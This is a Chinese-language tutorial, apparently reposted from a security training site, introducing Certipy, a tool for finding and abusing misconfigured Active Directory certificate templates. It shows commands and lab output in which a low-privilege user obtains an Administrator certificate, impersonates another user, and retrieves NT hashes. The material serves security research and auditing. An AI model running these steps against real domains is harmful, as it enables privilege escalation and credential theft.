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本文来源:Alpha_h4ck
关于Certipy
Certipy是一款基于Python开发的强大工具，该工具可以帮助广大研究人员枚举并利用活动目录证书服务（AD CS）中的错误配置项。
工具安装
广大研究人员可以使用下列命令将该项目源码克隆至本地：
git clone https://github.com/ly4k/Certipy.git
接下来，在命令行终端中切换至项目根目录，然后运行下列命令即可：
$ python3 setup.py install
别忘了将Python脚本目录添加至系统环境变量路径中。
工具使用
$ certipy -h usage: certipy [-h] [-debug] [-target-ip ip address] [-nameserver nameserver] [-dns-tcp] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address] target {find,req,auth,auto} ... Active Directory certificate abuse positional arguments: target [[域名/]用户名[:密码]@]目标名称或地址> {find,req,auth,auto} 操作 find 查找证书模板 req 请求一份新的证书 auth 使用证书进行认证 auto 自动利用证书实现提权 optional arguments: -h, --help 显示帮助信息 -debug 开启调试模式输出 -no-pass 不询问密码 -k 使用Kerberos认证。 -dc-ip ip address 目标域控制器的IP地址 connection: -target-ip ip address 目标设备的IP地址 -nameserver nameserver 用于DNS解析的域名服务器 -dns-tcp 使用TCP代替UDP执行DNS查询 authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH工具使用样例
自动化
在下面的使用样例中，用户john是一个低权限用户，可以注册Copy of Web Server模板：
$ certipy 'predator/john:Passw0rd@dc.predator.local' auto [*] Trying template 'Copy of Web Server' with CA 'predator-DC-CA' [*] Generating RSA key [*] Requesting certificate [*] Request success [*] Got certificate with UPN 'Administrator' [*] Saved certificate to '1.crt' [*] Saved private key to '1.key' [*] Using UPN: 'Administrator@predator' [*] Trying to get TGT... [*] Saved credential cache to 'Administrator.ccache' [*] Trying to retrieve NT hash for 'Administrator@predator' [*] Got NT hash for 'Administrator@predator': fc525c9683e8fe067095ba2ddc971889
默认情况下，工具会选择Administrator用户，我们也可以使用-user参数来为其他用户创建证书。
查找
find操作将帮助我们查找一个或多个CA启用了的证书模板。
查找漏洞模板
使用-vulnerable参数将搜索存在漏洞的证书模板：
$ certipy 'predator/john:Passw0rd@dc.predator.local' find -vulnerable [*] Finding vulnerable certificate templates for 'john' User Name : predator\john Groups : Certificate Authorities 0 CA Name : predator-DC-CA DNS Name : dc.predator.local Certificate Subject : CN=predator-DC-CA, DC=predator, DC=local Certificate Serial Number : 1976D0FEFCAFC9A84D02D305FA88D84D Certificate Validity Start : 2021-10-06 11:32:01+00:00 Certificate Validity End : 2026-10-06 11:42:01+00:00 User Specified SAN : Disabled CA Permissions Owner : BUILTIN\Administrator Access Rights ManageCertificates : BUILTIN\Administrator predator\Domain Admins predator\Enterprise Admins ManageCa : BUILTIN\Administrator predator\Domain Admins predator\Enterprise Admins Enroll : Authenticated Users Vulnerable Certificate Templates 0 CAs : predator-DC-CA Template Name : Copy of Web Server Validity Period : 2 years Renewal Period : 6 weeks Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : None Authorized Signatures Required : 0 Extended Key Usage : Permissions Enrollment Permissions Enrollment Rights : predator\Domain Admins predator\Enterprise Admins Authenticated Users Object Control Permissions Owner : predator\Administrator Write Owner Principals : predator\Domain Admins predator\Enterprise Admins predator\Administrator Write Dacl Principals : predator\Domain Admins predator\Enterprise Admins predator\Administrator Write Property Principals : predator\Domain Admins predator\Enterprise Admins predator\Administrator Vulnerable Reasons : 'Authenticated Users' can enroll, enrollee supplies subject and template allows authentication 'Authenticated Users' can enroll and template has dangerous EKU
使用-user参数将查找指定用户相关的存在漏洞的证书模板，默认配置下使用的是当前用户。
查找所有模板
$ certipy 'predator/john:Passw0rd@dc.predator.local' find [*] Finding certificate templates for 'john' User Name : predator\john Groups : Certificate Authorities 0 CA Name : predator-DC-CA DNS Name : dc.predator.local Certificate Subject : CN=predator-DC-CA, DC=predator, DC=local Certificate Serial Number : 1976D0FEFCAFC9A84D02D305FA88D84D Certificate Validity Start : 2021-10-06 11:32:01+00:00 Certificate Validity End : 2026-10-06 11:42:01+00:00 User Specified SAN : Disabled CA Permissions Owner : BUILTIN\Administrator Access Rights ManageCertificates : BUILTIN\Administrator predator\Domain Admins predator\Enterprise Admins ManageCa : BUILTIN\Administrator predator\Domain Admins predator\Enterprise Admins Enroll : Authenticated Users Certificate Templates 0 CAs : predator-DC-CA Template Name : User Validity Period : 1 year Renewal Period : 6 weeks Certificate Name Flag : SubjectRequireDirectoryPath SubjectRequireEmail SubjectAltRequireEmail SubjectAltRequireUpn Enrollment Flag : AutoEnrollment PublishToDs IncludeSymmetricAlgorithms Authorized Signatures Required : 0 Extended Key Usage : Encrypting File System Secure Email Client Authentication Permissions Enrollment Permissions Enrollment Rights : predator\Domain Admins predator\Domain Users predator\Enterprise Admins Object Control Permissions Owner : predator\Enterprise Admins Write Owner Principals : predator\Domain Admins predator\Enterprise Admins Write Dacl Principals : predator\Domain Admins predator\Enterprise Admins Write Property Principals : predator\Domain Admins predator\Enterprise Admins [...] 11 CAs : predator-DC-CA Template Name : Copy of Web Server Validity Period : 2 years Renewal Period : 6 weeks Certificate Name Flag : EnrolleeSuppliesSubject Enrollment Flag : None Authorized Signatures Required : 0 Extended Key Usage : Permissions Enrollment Permissions Enrollment Rights : predator\Domain Admins predator\Enterprise Admins Authenticated Users Object Control Permissions Owner : predator\Administrator Write Owner Principals : predator\Domain Admins predator\Enterprise Admins predator\Administrator Write Dacl Principals : predator\Domain Admins predator\Enterprise Admins predator\Administrator Write Property Principals : predator\Domain Admins predator\Enterprise Admins predator\Administrator
查询请求
用户josh将会以用户jane的身份请求一个有效的身份认证证书，predator-DC-CA已启用了Copy of Web Server：
$ certipy 'predator/john:Passw0rd@dc.predator.local' req -template 'Copy of Web Server' -ca 'predator-DC-CA' -alt 'jane' [*] Generating RSA key [*] Requesting certificate [*] Request success [*] Got certificate with UPN 'jane' [*] Saved certificate to '2.crt' [*] Saved private key to '2.key'
以当前用户身份请求证书
$ certipy 'predator/john:Passw0rd@dc.predator.local' req -template 'User' -ca 'predator-DC-CA' [*] Generating RSA key [*] Requesting certificate [*] Request success [*] Got certificate with UPN 'john@predator.local' [*] Saved certificate to '3.crt' [*] Saved private key to '3.key'
身份认证
auth操作将会使用PKINIT Kerberos扩展来对提供的证书进行身份认证：
$ certipy 'predator/jane@dc.predator.local' auth -cert ./2.crt -key ./2.key [*] Using UPN: 'jane@predator' [*] Trying to get TGT... [*] Saved credential cache to 'jane.ccache' [*] Trying to retrieve NT hash for 'jane@predator' [*] Got NT hash for 'jane@predator': 077cccc23f8ab7031726a3b70c694a49
项目地址
Certipy：【GitHub传送门】
参考资料
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://github.com/dirkjanm/PKINITtools
转载请注明来自网盾网络安全培训，本文标题：《如何使用Certipy检测活动目录证书安全》
